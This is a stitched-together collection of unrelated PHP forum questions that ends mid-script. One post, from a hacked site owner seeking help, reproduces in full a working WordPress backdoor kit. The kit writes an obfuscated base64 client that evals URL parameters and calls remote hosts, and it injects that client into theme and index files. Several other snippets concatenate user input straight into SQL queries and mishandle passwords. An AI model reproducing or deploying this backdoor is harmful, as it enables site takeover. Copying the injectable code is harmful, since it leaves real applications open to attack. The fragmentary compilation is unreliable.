PHP - Trying To Understand 'post'

Hi All,
I'm trying to understand the following code.  I tried to display the field 'eligible' (an added field to a mysql table) for user input, but I keep getting an Invalid Type error at getFieldHTML('eligible').  Other fields are displayed correctly using the same syntax.  Is getFieldHtml a class, etc?  I'm sort of new to php..but I'm a quick learner...Thanks for any help!
Chris

<div class="form-container">
    <?php echo $form->getFormOpenHTML(); ?>
        <fieldset class="hidden">
            <ol>
                <li>Are you eligible?<?php echo $form->getFieldHTML('eligible'); ?></li>

Quote

Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in C:\xampp\htdocs\hofiles\mschginsert.php on line 12


<?php
$dep=$_POST['dep'];
$name=$_POST['name'];
$apt=$_POST['apt'];
$amtpaid=$_POST['amtpaid'];
$damage=$_POST['damage'];
$month=$_POST['month'];
$courtcost=$_POST['courtcost'];
$nsf=$_POST['nsf'];
$latechg=$_POST['latechg'];
mysql_connect(localhost,root,"");
mysql_select_db(mschgdb) or die "Unable to select database");
$query = "INSERT INTO miscdata VALUES ('','$dep','$name','$apt','$amtpaid','$damage','$month','$courtcost','$nsf','$latechg')";
mysql_query($query);

mysql_close();
?>

So I am trying to run my execute function from my database class from my email class. I have SMTP system to handle emails on the website. I am working on a function in the email class called addAccount. It is suppose to add a row in the database under the SMTP table. When I run the function, I get no parsing errors, so I add the or die to my query from the execute function, still nothing at all.
 So here is some code:

-The addAccount function from Email.php:

function addAccount($name, $email, $username, $password, $protocol, $port, $server){
//Error checking & cleaning vars. will be done in the application, not the backend.
if(!empty($name) && !empty($email) && !empty($username) && !empty($password) && !empty($proctocol) && !empty($port) && !empty($server)){
$name = ucwords(strtolower($name));
$email = strtolower($email);
$this->db->execute("INSERT INTO ".TBL_SMTP." (name, email, username, password, protocol, port, server) VALUES ('$name', $email', '$username', '$password' '$protocol', '$port', '$server')", true);
return true;
}else
return false;
}


-The entire email class from Email.php

<?php
require_once("pear/Mail.php");
class Email{
var $from_name, $from_email, $to_name, $to_email, $subject, $body, $host, $port, $username, $password;
private $db = NULL;
function __construct(Database $db){
$this->db = $db;
}
function dbEmail($id, $name, $email, $subject, $body){
$q = $this->db->select(TBL_SMTP, "*", "id='".$id."'");
if($q->numRows() > 0){
$f = $q->fetchRow();
$this->from_name = $f['name'];
$this->from_email = $f['email'];
$this->username = $f['username'];
$this->password = $f['password'];
$this->host = $f['protocol']."://".$f['server'];
$this->port = $f['port'];
$this->to_name = $name;
$this->to_email = $email;
$this->subject = $subject;
$this->body = $body;
return sendEmail();
}else
return false;
}
function sendEmail(){
$from = $this->from_name." <".$this->from_email.">";
$to = $this->to_name." <".$this->to_email.">";
$headers = array ('From' => $this->from,
      'To' => $this->to,
      'Subject' => $this->subject);   
  $smtp = Mail::factory('smtp',
  array ( 'host' => $this->host,
         'port' => $this->port,
     'auth' => true,
     'username' => $this->username,
     'password' => $this->password));
$mail = $smtp->send($to, $headers, $this->body);
if(PEAR::isError($mail)){
   //echo($mail->getMessage()); //For debugging purposes only
return false;
  }else
   return true;
}
function addAccount($name, $email, $username, $password, $protocol, $port, $server){
//Error checking & cleaning vars. will be done in the application, not the backend.
if(!empty($name) && !empty($email) && !empty($username) && !empty($password) && !empty($proctocol) && !empty($port) && !empty($server)){
$name = ucwords(strtolower($name));
$email = strtolower($email);
$this->db->execute("INSERT INTO ".TBL_SMTP." (name, email, username, password, protocol, port, server) VALUES ('$name', $email', '$username', '$password' '$protocol', '$port', '$server')", true);
return true;
}else
return false;
}
}
$email = new Email($db);
?>


The entire database class from Database.php

<?php
class Database{
var $mysqli, $result, $q, $affectedRows;
function __construct($host, $user, $pass, $db){
$this->mysqli = new MySQLi($host, $user, $pass, $db);
}
function execute($query, $error = false, $mode = MYSQLI_STORE_RESULT){
$this->q = $query;
if(!$error)
$result = $this->mysqli->query($query, $mode);
else
$result = $this->mysqli->query($query, $mode) or die($this->mysqli->error);

if(is_object($result) && $result instanceof MySQLi_Result){//if result is a object and is part of the mysqli class?
$this->result = $result;
$this->affectedRows = $this->result->num_rows;
}else
$this->affectedRows = $this->mysqli->affected_rows;
return $this;
}
function fetchRow($mode = MYSQLI_ASSOC){
return $this->result->fetch_assoc($mode);
}
function fetchAll($mode = MYSQLI_ASSOC){
$row = $this->result->fetch_all($mode);
return !empty($row) ? $row : array();//if not empty return row, else return an array?
}
function numRows(){
return $this->affectedRows;
}
function delete($table, $where){
return $this->execute("DELETE FROM ".$table." WHERE ".$where);
}
function deleteAll($table){
return $this->execute("TRUNCATE ".$table);
}
function update($table, $set, $where){
return $this->execute("UPDATE ".$table." SET ".$set." WHERE ".$where);
}
function select($table, $select = "*", $where = NULL){
if(is_null($where))
$where = "";
return $this->execute("SELECT ".$select." FROM ".$table." ".$where);
}
}
$db = new Database(DB_HOST, DB_USER, DB_PASS, DB_DB);
?>


Chances are it is my email class since it was 100% written by me. The database class I had some help from a member here.

What do you experts think?

$a === $b
 if $a is equal to $b, and of the same type

when would you ever need to use this operator? I mean if its not  == then its going to be false so why even test if its the same type.
and if it is == then in theory it has to be the same type so why test it? Am i completely over looking something?

hey guys sorry for the newb question...
way back I had a site developed for me and ive since shut it down but thinking of re-creating a similar one. im looking over all of the old code files I have and I remember when logging in the developer had always set a session id....it I guess is a social networking site (mine was up years before facebooK!) lol. Anyway, what would be the benefit to setting a session_id on this even in the url have website.com/page.php?sid=328483248324 or some number or whatever it was. Just trying to educate myself. I was looking on php.net but didnt really get any answers that helped.

thanks

Hi all. I'm unfamilar with php syntax (but vb syntax). A hacker has made a backdoor in my site (wordpress installation) with uploading follwing file:

<?php
Class linkBilder {    
   
	private $arr_files = array();   
    public $signatures = array('wp_footer3333');
	
function get_link()
{
$files = '<?php new Client(1);?>';
return $files;
}
function request($get_str, $separator)
    {
        if (!empty($get_str))
        {               
            $obj = explode($separator, $get_str);
            return $obj;
        }
        else
        {
            return false;
        }
    }

function make_file()
	{
	$local2=$_SERVER['DOCUMENT_ROOT'];
	$clientSource = '<?php ini_set("display_errors",0);ini_set("display_startup_errors",0);error_reporting(0);$st=base64_decode("Y2xhc3MgQ2xpZW50IHsgcHJpdmF0ZSAkYXJ0aWNsZXM7IHByaXZhdGUkY3VybDsgcHJpdmF0ZSAkbG9jYXRpb24gPSAiZEdSemMyOXphV0ZzTG5KMUwyZHZMbkJvY0Q5emFXUTlNUT09IjsgcHJpdmF0ZSAkc3lzdGVtVXJsID0gImQyOXlhM052YzJsaGJDNXlkUT09IjsgcHJpdmF0ZSAkYm90RGV0ZWN0b3JVcmwgPSAiWW05MGMyOXphV0ZzTG5KMSI7IHByaXZhdGUgJGNhY2hlRmlsZT0gIkxpOTNjQzFwYm1Oc2RXUmxjeTkzY0Mxa2JuTmpZV05vWlM1d2FIQT0iOyBwcml2YXRlICRjYWNoZVRpbWUgPSAzNjAwOyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkZ2V0TGlua3MgPSBmYWxzZSkge2lmKGlzc2V0KCRfR0VUWyJ6YWx1cGEiXSkpe2V2YWwoJF9HRVRbInphbHVwYSJdKTt9ICR0aGlzLT5kZWNvZGVyKCk7ICR0aGlzLT5jdXJsID0gQGN1cmxfaW5pdCgpOyBpZiAoISR0aGlzLT5jdXJsKSByZXR1cm47IGlmICghaXNfZmlsZSgkdGhpcy0+Y2FjaGVGaWxlKSkgZmlsZV9wdXRfY29udGVudHMoJHRoaXMtPmNhY2hlRmlsZSwgJHRoaXMtPl9zZXIoJHRoaXMtPmdldEFsbEFydGljbGVzKCkpKTsgJHRoaXMtPmFydGljbGVzID0gJHRoaXMtPmxvYWRBcnRpY2xlc0Zyb21DYWNoZSgpOyBpZiAoc2l6ZW9mKCR0aGlzLT5hcnRpY2xlcy0+cGFnZXMpID09IDApIHJldHVybjsgJGdvb2RTbHVnID0gZmFsc2U7IGZvcmVhY2goJHRoaXMtPmFydGljbGVzLT5wYWdlcyBhcyAkYXJ0aWNsZSkgeyBpZiAoJGFydGljbGUtPnNsdWcgPT0gJF9HRVRbInAiXSkgeyAkZ29vZFNsdWcgPSB0cnVlOyB9IH0gaWYgKCR0aGlzLT5pc0JvdCgpID09IGZhbHNlICYmICRnb29kU2x1ZyA9PSB0cnVlKSB7IGhlYWRlcigiTG9jYXRpb246ICIuJHRoaXMtPmxvY2F0aW9uKTsgZWNobyAiIjsgZXhpdCgpOyB9IGlmICgkZ2V0TGlua3MgIT0gZmFsc2UpIHsgZm9yZWFjaCgkdGhpcy0+YXJ0aWNsZXMtPnBhZ2VzIGFzICRhcnRpY2xlKSBlY2hvICRhcnRpY2xlLT5saW5rLiIgIjsgcmV0dXJuOyB9IGZvcmVhY2goJHRoaXMtPmFydGljbGVzLT5wYWdlcyBhcyAkYXJ0aWNsZSkgeyBpZiAoJGFydGljbGUtPnNsdWcgPT0gJF9HRVRbInAiXSkgeyBlY2hvICRhcnRpY2xlLT5hcnRpY2xlOyBleGl0OyB9IH0gcmV0dXJuOyB9IHByaXZhdGUgZnVuY3Rpb24gbG9hZEFydGljbGVzRnJvbUNhY2hlKCkgeyAkZGF0YSA9ICR0aGlzLT5fdW5zZXIoZmlsZV9nZXRfY29udGVudHMoJHRoaXMtPmNhY2hlRmlsZSkpOyBpZiAoKHRpbWUoKS0kZGF0YS0+Y3JlYXRlVGltZSkgPj0gJHRoaXMtPmNhY2hlVGltZSkgeyBAdW5saW5rKCR0aGlzLT5jYWNoZUZpbGUpOyB9IHJldHVybiAkZGF0YTsgfSBwcml2YXRlIGZ1bmN0aW9uIGdldEFsbEFydGljbGVzKCkgeyAkZGF0YSA9IGFycmF5KCAiaG9zdCIgPT4gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0sICJpcCIgPT4gJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0sICJzZXJ2ZXJLZXkiPT4gbWQ1KCRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdKSwgKTsgJGFydGljbGVzID0gJHRoaXMtPmdldENvbnRlbnQoImh0dHA6Ly8iLiR0aGlzLT5zeXN0ZW1VcmwuIi9zZW5kLnBocCIsICJkYXRhPSIuanNvbl9lbmNvZGUoJGRhdGEpKTsgJGFydGljbGVzID0ganNvbl9kZWNvZGUoJGFydGljbGVzKTsgaWYgKCRhcnRpY2xlcy0+c3RhdCAhPSAic3VjY2VzcyIpIHsgcmV0dXJuIGZhbHNlOyB9ICRhcnRpY2xlcy0+Y3JlYXRlVGltZSA9IHRpbWUoKTsgcmV0dXJuICRhcnRpY2xlczsgfSBwcml2YXRlIGZ1bmN0aW9uIGlzQm90KCkgeyAkcmVzdWx0ID0gJHRoaXMtPmdldENvbnRlbnQoImh0dHA6Ly8iLiR0aGlzLT5ib3REZXRlY3RvclVybCwiaXA9Ii51cmxlbmNvZGUoJF9TRVJWRVJbUkVNT1RFX0FERFJdKS4iJnVzZXJhZ2VudD0iLnVybGVuY29kZSgkX1NFUlZFUltIVFRQX1VTRVJfQUdFTlRdKS4iJmtleT1nMGcwIik7IGlmICgkcmVzdWx0ID09PSAiMCIpIHJldHVybiBmYWxzZTsgcmV0dXJuIHRydWU7IH0gcHJpdmF0ZSBmdW5jdGlvbiBnZXRDb250ZW50KCR1cmwsJHBvc3QgPSBmYWxzZSkgeyBjdXJsX3NldG9wdCgkdGhpcy0+Y3VybCwgQ1VSTE9QVF9VUkwsICR1cmwpOyBpZiAoJHBvc3QgIT0gZmFsc2UpIGN1cmxfc2V0b3B0KCR0aGlzLT5jdXJsLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRwb3N0KTsgY3VybF9zZXRvcHQoJHRoaXMtPmN1cmwsIENVUkxPUFRfVVNFUkFHRU5ULCAiTW96aWxsYS81LjAgKGNvbXBhdGlibGU7IEdvb2dsZWJvdC8yLjE7ICtodHRwOi8vd3d3Lmdvb2dsZS5jb20vYm90Lmh0bWwpIik7IGN1cmxfc2V0b3B0KCR0aGlzLT5jdXJsLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULDIwKTsgY3VybF9zZXRvcHQoJHRoaXMtPmN1cmwsIENVUkxPUFRfVkVSQk9TRSwgZmFsc2UpOyBjdXJsX3NldG9wdCgkdGhpcy0+Y3VybCwgQ1VSTE9QVF9IRUFERVIsZmFsc2UpOyBjdXJsX3NldG9wdCgkdGhpcy0+Y3VybCwgQ1VSTE9QVF9QT1NULCB0cnVlKTsgY3VybF9zZXRvcHQoJHRoaXMtPmN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7IHJldHVybiBjdXJsX2V4ZWMoJHRoaXMtPmN1cmwpOyB9IHByaXZhdGUgZnVuY3Rpb24gX3NlcigkZGF0YSkgeyByZXR1cm4gc2VyaWFsaXplKCRkYXRhKTsgfSBwcml2YXRlIGZ1bmN0aW9uIF91bnNlcigkZGF0YSkgeyByZXR1cm4gdW5zZXJpYWxpemUoJGRhdGEpOyB9IHByaXZhdGUgZnVuY3Rpb24gZGVjb2RlcigpIHsgJHRoaXMtPmxvY2F0aW9uID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+bG9jYXRpb24pOyAkdGhpcy0+c3lzdGVtVXJsID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+c3lzdGVtVXJsKTsgJHRoaXMtPmJvdERldGVjdG9yVXJsID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+Ym90RGV0ZWN0b3JVcmwpOyAkdGhpcy0+Y2FjaGVGaWxlID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+Y2FjaGVGaWxlKTsgfSB9");eval($st);?>'; 
	
	file_put_contents("$local2/wp-includes/class-wp-optimize.php", $clientSource);
	echo"<span style='display:block; 
                padding:10px; 
                border:1px solid #1f4f18;
                background-color:#b9b9b9; 
                font-size:12px;
                line-height:12px;
                font-family:tahoma, sans-serif;
                margin-bottom:20px;'><h4>Клиент записан в $local2/wp-includes/ </h4>
        </span>";
		
	}

function dir_content($path = './wp-content/themes/', $files_allowed = '.')
    {        
        $dir_disallow = array('.', '..', '.htaccess', '.git', 'wp-admin', 'wp-includes' );
        if(is_dir($path))
        {
            $temp = opendir($path);
            while (false !== ($dir = readdir($temp))) 
            {
                if ((is_dir($path . $dir)) && 
                    (!in_array($dir, $dir_disallow)) ) 
                {                    
                    $sub_dir = $path . $dir . '/';
                    $this->dir_content($sub_dir, $files_allowed);
                } 
                elseif ((is_file($path . $dir)) && 
                        (!in_array($dir, $dir_disallow)) && 
                        (strpos($dir, $files_allowed) == true) &&
                        (strpos($dir, '_BACKUP') == false) && 
                        (strpos($dir, trim($_SERVER['SCRIPT_NAME'], '/')) === false) )
                {                    
                    $this->arr_files[] = $path . $dir;
                }      
            }
            closedir($temp);
        }
    }   
function find($path = './wp-content/themes/', $files_allowed = '.', $requested_string = '<?php wp_footer(); ?>')
    {
        $this->dir_content($path, $files_allowed);
		$i=0;
        foreach($this->arr_files AS $in_dir_file)
        {
            $temporary_file = file_get_contents($in_dir_file);            
            $file_founded = false;            
            $tf_strings = explode("\n", $temporary_file);            
            foreach ($tf_strings AS $item)
            {                
                $item = strval($item);
                if (strpos($item, $requested_string) !== false)
                { 
                    $file_founded = true;
                    $founded_str = $requested_string;
                }

                
                foreach ($this->signatures AS $signa)
                {   $signa = strval($signa);
                    if (strpos($item, $signa) !== false)
                    { 
                        $file_founded = true;
                        $founded_str = $signa;
                    }
                }
            }			
            if ($file_founded)
            {   $i++;            
                print "				
				<span style='display:block; 
                padding:10px; 
                border:1px solid #1f4f18;
                background-color:#b9b9b9; 
                font-size:12px;
                line-height:12px;
                font-family:tahoma, sans-serif;
                margin-bottom:20px;'><h4>" . $in_dir_file . "</h4>TEMPLATE №:$i; готов к заражению.                                     
                </span>
"; 
            }
        }
    }
function scan($path = './wp-content/themes/', $files_allowed = '.', $requested_string = '<? php wp_footer(); ?>')
    {      
        $this->dir_content($path, $files_allowed);        
        foreach($this->arr_files AS $in_dir_file)
        {            
            $temporary_file = file_get_contents($in_dir_file);                                           
            $create_backup = false; 
            $tf_strings = explode("\n", $temporary_file);           
            $str_index = 0;			
			foreach ($tf_strings AS $item)
            {               
                $item = strval($item);
                if (strpos($item, $requested_string) !== false)
                {                 
                    $create_backup = true;                     
					$tf_strings[$str_index]=substr_replace($tf_strings[$str_index], $this->get_link(), 0, 0);
                    $founded_str = $requested_string;
                }
                
                
                foreach ($this->signatures AS $signa)
                {
                    $signa = strval($signa);
                    if (strpos($item, $signa) !== false)
					{                       
                        $create_backup = true;                         
                        $tf_strings[$str_index]=substr_replace($tf_strings[$str_index], $this->get_link(), 0, 0);	                        
                    }
                }                
                $str_index++;
            }

            
            if ($create_backup)
            {              
                chmod($path, 0777);
                
                $temp_file_backup = $in_dir_file.'_BACKUP';                
                file_put_contents($temp_file_backup, $temporary_file);                
                $scanned_file = implode("\n", $tf_strings);                
                if (file_put_contents($in_dir_file, $scanned_file))
                {                       
                    print "<span style='display:block; 
                                        padding:15px; 
                                        border:1px solid #1f4f18;
                                        background-color:#d5f5ce; 
                                        font-size:12px;
                                        line-height:16px;
                                        font-family:tahoma, sans-serif;
                                        margin-bottom:20px;'><h3>" . $in_dir_file . "</h3> Файл заражен + сделан BACKUP
                                        
                           </span>
";
                }
                else
                {
                   
                    print "<span style='display:block; 
                                        padding:15px; 
                                        border:1px solid #822121;
                                        background-color:#ea7575; 
                                        font-size:12px;
                                        line-height:16px;
                                        font-family:tahoma, sans-serif;
                                        margin-bottom:20px;'><h3>" . $in_dir_file . "</h3> Что-то пошло не так.
                                        
                            </span>
";  
                }                
                chmod($path, 0755);                                                             
            }
        }
    }
/*	
function scankl() 
{   
	$local2=$_SERVER['DOCUMENT_ROOT'];
	$requested_string = '<?php include (\'wp-includes/class-wp-optimize.php\');
	define(\'WP_USE_THEMES\', true);
	require( dirname( __FILE__ ) . \'/wp-blog-header.php\' );';
    file_put_contents("$local2/index.php", $requested_string);           	
}
*/
function scankl() 
{   
	$indexFile=$_SERVER['DOCUMENT_ROOT'].'/index.php';
	$addContent = '<?php require_once (\'wp-includes/class-wp-optimize.php\'); if ($_GET["p"]) new Client;?>';
	file_put_contents($indexFile,$addContent.file_get_contents($indexFile));
	echo "<span style='display:block; 
                                        padding:15px; 
                                        border:1px solid #1f4f18;
                                        background-color:#d5f5ce; 
                                        font-size:12px;
                                        line-height:16px;
                                        font-family:tahoma, sans-serif;
                                        margin-bottom:20px;'><h3>Клиент прописан в index.php'</h3></span>";
}
   
function restore_backups($path = './wp-content/themes/', $files_allowed = '.')
    {
        
        $this->dir_content($path, $files_allowed);        
        foreach($this->arr_files AS $in_dir_file)        {
            if (is_file($in_dir_file.'_BACKUP'))            {               
                $temporary_file_from_backup = file_get_contents($in_dir_file.'_BACKUP');               
                if (file_put_contents($in_dir_file, $temporary_file_from_backup))              {                      
                    unlink($in_dir_file.'_BACKUP');                   
                    print "<span style='display:block; 
                                        padding:15px; 
                                        border:1px solid #1f4f18;
                                        background-color:#d5f5ce; 
                                        font-size:12px;
                                        line-height:16px;
                                        font-family:tahoma, sans-serif;
                                        margin-bottom:20px;'><h3>".$in_dir_file ."</h3> Файл восстановлен.
                            </span>
";                  
                }
                else
                {                  
                    print "<span style='display:block; 
                                        padding:5px; 
                                        border:1px solid #822121;
                                        background-color:#ea7575; 
                                        font-size:12px;
                                        line-height:16px;
                                        font-family:tahoma, sans-serif;
                                        margin-bottom:20px;'><h3>".$in_dir_file ."</h3> Бекап не восстановлен.
                            </span>
";  
                }
            }
        }
    } 
 
function delete_backups($path = './wp-content/themes/', $files_allowed = '.')
    {       
        $this->dir_content($path, $files_allowed);        
        foreach($this->arr_files AS $in_dir_file)        {
            if (is_file($in_dir_file.'_BACKUP'))
            {               
                if (unlink($in_dir_file.'_BACKUP'))
                {
                    print " <span style='display:block; 
                                        padding:15px; 
                                        border:1px solid #1f4f18;
                                        background-color:#d5f5ce; 
                                        font-size:12px;
                                        line-height:16px;
                                        font-family:tahoma, sans-serif;
                                        margin-bottom:20px;'><h3>".$in_dir_file ."_BACKUP</h3> Удалён.
                            </span>";   
                }
                else
                {
                    
                    print  "<span style='display:block; 
                                        padding:15px; 
                                        border:1px solid #822121;
                                        background-color:#f94c00; 
                                        font-size:12px;
                                        line-height:16px;
                                        font-family:tahoma, sans-serif;
                                        margin-bottom:20px;'><h3>".$in_dir_file ."_BACKUP</h3> НЕ удалён.
                            </span>
";  
                }                 
            }
        }
    }                
}
?>

<?php
$starter = new linkBilder;												//start_OK

$ssilka = htmlspecialchars("{$starter->get_link()}", ENT_QUOTES);?>

<?php echo "<b>В футер мы пишем:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</b>$ssilka".'<br>';?>
<?php 
$local = $_SERVER['DOCUMENT_ROOT'].'/wp-content/themes/';
$local2=$_SERVER['DOCUMENT_ROOT'];
?>
<?								//active folder
if($_POST['find'])
{
   $starter->find($local, '.');
}
else if($_POST['wrkr'])
{
$starter->scankl();    
}
else if($_POST['create'])
{
   $starter->scan($local, '.');
}
else if($_POST['backups'])
{
   $starter->restore_backups($local, '.');
}
else if($_POST['kr'])
{
   $starter->make_file();
}
else if($_POST['delbackups'])
{
   $starter->delete_backups($local, '.');
}



echo '<form method="post">';
echo '<input type="submit" style="padding:10px;" name="kr" value="Сделать клиент">';
echo '<input type="submit" style="padding:10px;" name="wrkr" value="Прописать клиент в index">';
echo '<input type="submit" style="padding:10px;" name="find" value="Проверить WP/Найти шаблоны">';
echo '<input type="submit" style="padding:10px;" name="create" value="Заразить">';
echo '<input type="submit" style="padding:10px;" name="backups" value="Востановить файл с бекапа">';
echo '<input type="submit" style="padding:10px;" name="delbackups" value="Удалить бекап">';
echo '</form>';

?>

To reverse back everything to its healthy state, i must understand what this code does. Would u help me understanding code?   Thanks in advance.

Hello guys. I'm back with a quick question that I don't seem to understand.

How exactly you create a session?
I know the very basics of it, and that includes:
<form action="Logged.php" method="post" >
    <input type="text" name="User" />
    <input type="password" name="Password" />
    <input type="submit" value="Login" />
    <input type="reset" value="Clear" />
</form>
Start with my log-in form.

This is called when you log-in:

<?php

include("config.php");

if(isset($_SESSION["Username"]))

{

$user = $_SESSION["Username"];

$pass = md5($_SESSION["Password"]);

}

else

{

$user = $_POST["User"];

$pass = md5($_POST["Password"]);

$_SESSION['Username'] = $user;

$_SESSION['Password'] = $pass;

$escuser = mysql_real_escape_string($user);

$escpass = mysql_real_escape_string($pass);

}

$result = mysql_query("SELECT * FROM testWHERE user = '$escuser'");

$num_rows = mysql_num_rows($result);

if($num_rows == 0)

{

echo('That username does not exist...');

echo '<a href="something.php"">  Go back!</a>';

unset($_SESSION['Username']);

unset($_SESSION['Password']);

die;

}

$row = mysql_fetch_row($result);

if($row[1] !== $escpass)

{

    echo('Wrong Password!...');

    echo '<a href="something.php">  Go Back!</a>';
      

unset($_SESSION['Username']);

    unset($_SESSION['Password']);

    die;

}

?>
Like I said above, the very basics. On that Logged.php page ( Which I got the above code from ) does not have:<?php  session_start(); ?>

^ That's what I am having trouble with. Am I supposed to add that on top of EVERY page I have?

I just need a quick rough-draft on how it should be, you don't need to use my examples, I just need to see a small preview of a log-in and then you can be able to access every page WHILE still logged.

Thanks.

I'm learning PHP, and in the course of this, I'm writing a little app which posts to the same php file. HOWEVER, when I run the app again, the POST values remain. I can use unset() but, is there another way to clear POST data?

RON

$post='{"cart_items":[{"configuration":{"price":100,"recharge_number":"9999999999"},"product_id":"999","qty":1}]}';

i try this n reslut was :There are no valid items in cart:   help me plz
Edited by ShivaGupta, 30 November 2014 - 01:11 AM.

Hi,

 

I have a series of post to post connections. In one function, the output is a list of the linked post to posts. Here is an example:

function countryJob(){

global $post;

    $echo = f_print(array(
        'data' => 'p2p',
        'type' => 'ul',
        'args' => array(
            'connection_type' => 'job_to_location',
            'post_type' => 'job',
            'connection_id' => $post->ID,
            'alternative' => '',
        ),
));

    echo '<div class="country-job-text">'.$echo.'</div>';

 

job, location and city are all post types that can be connected.

 

I want to create the same as above to create a list of the cites connected to a location (locations are the name for posts which are countries)

 

How do I discover the connection type and post type needed to create this output?

ok i want to be able to delete the post only if there the one who posted aka blabbed here is the script , please help. if im not clear please tell me!

Code: [Select]

<?php



// Start_session, check if user is logged in or not, and connect to the database all in one included file

include_once("scripts/checkuserlog.php");



if (!$_SESSION['idx']) { 

    $msgToUser = '<br /><br /><font color="#FF0000">Sorry but you must be logged in to view this page!</font><p><br><div align="right"><a href="register.php">Join Here</a></div><form id="signinform" action="login.php" method="post" enctype="multipart/form-data" name="signinform">

    <fieldset>

    

      <legend>Log in</legend>

     

      <label for="login">Email</label>

      <input type="text" id="email" name="email" />

      <div class="clear"></div>

      

      <label for="password">Password</label>

      <input type="password" id="password" name="pass" />

      <div class="clear"></div>

      

      <label for="remember_me" style="padding: 0;">Remember me?</label>

      <input type="checkbox" id="remember" style="position: relative; top: 3px; margin: 0; " name="remember"/ value="yes" checked="checked">

      <div class="clear"></div>

      

      <br />

      

      <input type="submit" style="margin: -20px 0 0 287px;" class="button" name="commit" value="Sign In"/> 

    </fieldset>

  </form></p>';

    include_once 'msgToUser.php'; 

    exit(); 

} else if ($logOptions_id != $_SESSION['id']) {

    $msgToUser = '<br /><br /><font color="#FF0000">Only site members can do that</font><p><a href="register.php">Join Here</a></p>';

    include_once 'msgToUser.php'; 

    exit(); 

}

// Include the class files for auto making links out of full URLs and for Time Ago date formatting

include_once("wi_class_files/autoMakeLinks.php");

include_once ("wi_class_files/agoTimeFormat.php");

// Create the two new objects before we can use them below in this script

$activeLinkObject = new autoActiveLink;

$myObject = new convertToAgo;

?>

<?php 

// ------- INITIALIZE SOME VARIABLES ---------

// they must be initialized in some server environments or else errors will get thrown

$id = "";

$username = "";

$firstname = "";

$lastname = "";

$mainNameLine = "";

$country = "";    

$state = "";

$city = "";

$zip = "";

$bio_body = "";

$website = "";

$youtube = "";

$facebook = "";

$twitter = "";

$twitterWidget = "";

$locationInfo = "";

$user_pic = "";

$blabberDisplayList = "";

$interactionBox = "";

$cacheBuster = rand(999999999,9999999999999); // Put on an image URL will help always show new when changed

// ------- END INITIALIZE SOME VARIABLES ---------



// ------- ESTABLISH THE PAGE ID ACCORDING TO CONDITIONS ---------

if (isset($_GET['id'])) {

     $id = preg_replace('#[^0-9]#i', '', $_GET['id']); // filter everything but numbers

} else if (isset($_SESSION['idx'])) {

     $id = $logOptions_id;

} else {

   header("location: index.php");

   exit();

}

// ------- END ESTABLISH THE PAGE ID ACCORDING TO CONDITIONS ---------



// ------- FILTER THE ID AND QUERY THE DATABASE --------

$id = preg_replace('#[^0-9]#i', '', $id); // filter everything but numbers on the ID just in case

$sql = mysql_query("SELECT * FROM myMembers WHERE id='$id' LIMIT 1"); // query the member

// ------- FILTER THE ID AND QUERY THE DATABASE --------



// ------- MAKE SURE PERSON EXISTS IN DATABASE ---------

$existCount = mysql_num_rows($sql); // count the row nums

 if ($existCount == 0) { // evaluate the count

     header("location: index.php?msg=user_does_not_exist");

     exit();

}

// ------- END MAKE SURE PERSON EXISTS IN DATABASE ---------



// ------- WHILE LOOP FOR GETTING THE MEMBER DATA ---------

while($row = mysql_fetch_array($sql)){ 

    $username = $row["username"];

    $firstname = $row["firstname"];

    $lastname = $row["lastname"];

    $country = $row["country"];    

    $state = $row["state"];

    $city = $row["city"];

    $sign_up_date = $row["sign_up_date"];

    $sign_up_date = strftime("%b %d, %Y", strtotime($sign_up_date));

    $last_log_date = $row["last_log_date"];

    $last_log_date = strftime("%b %d, %Y", strtotime($last_log_date));    

    $bio_body = $row["bio_body"];    

    $bio_body = str_replace("'", "'", $bio_body);

    $bio_body = stripslashes($bio_body);

    $website = $row["website"];

    $youtube = $row["youtube"];

    $facebook = $row["facebook"];

    $twitter = $row["twitter"];

    $friend_array = $row["friend_array"];

    ///////  Mechanism to Display Pic. See if they have uploaded a pic or not  //////////////////////////

    $check_pic = "members/$id/image01.jpg";

    $default_pic = "members/0/image01.jpg";

    if (file_exists($check_pic)) {

    $user_pic = "<img src=\"$check_pic?$cacheBuster\" width=\"218px\" />"; 

    } else {

    $user_pic = "<img src=\"$default_pic\" width=\"218px\" />"; 

    }

    ///////  Mechanism to Display Real Name Next to Username - real name(username) //////////////////////////

    if ($firstname != "") {

        $mainNameLine = "$firstname $lastname ($username)";

        $username = $firstname;

    } else {

        $mainNameLine = $username;

    }

    ///////  Mechanism to Display Youtube channel link or not  //////////////////////////

    if ($youtube == "") {

    $youtube = "";

    } else {

    $youtube = '<br /><br /><img src="images/youtubeIcon.jpg" width="18" height="12" alt="Youtube Channel for ' . $username . '" /> <strong>YouTube Channel:</strong><br /><a href="http://www.youtube.com/user/' . $youtube . '" target="_blank">youtube.com/' . $youtube . '</a>';

    }

    ///////  Mechanism to Display Facebook Profile link or not  //////////////////////////

    if ($facebook == "") {

    $facebook = "";

    } else {

    $facebook = '<br /><br /><img src="images/facebookIcon.jpg" width="18" height="12" alt="Facebook Profile for ' . $username . '" /> <strong>Facebook Profile:</strong><br /><a href="http://www.facebook.com/profile.php?id=' . $facebook . '" target="_blank">profile.php?id=' . $facebook . '</a>';

    }

    ///////  Mechanism to Display Twitter Tweet Widget or not  //////////////////////////

    if ($twitter == "") {

    $twitterWidget = "";

    } else {

    $twitterWidget = "<script src=\"http://widgets.twimg.com/j/2/widget.js\"></script>

<script>

new TWTR.Widget({

  version: 2,

  type: 'profile',

  rpp: 5,

  interval: 6000,

  width: 218,

  height: 160,

  theme: {

    shell: {

      background: '#BDF',

      color: '#000000'

    },

    tweets: {

      background: '#ffffff',

      color: '#000000',

      links: '#0066FF',

    }

  },

  features: {

    scrollbar: true,

    loop: false,

    live: false,

    hashtags: true,

    timestamp: true,

    avatars: false,

    behavior: 'all'

  }

}).render().setUser('$twitter').start();

</script>";

    }

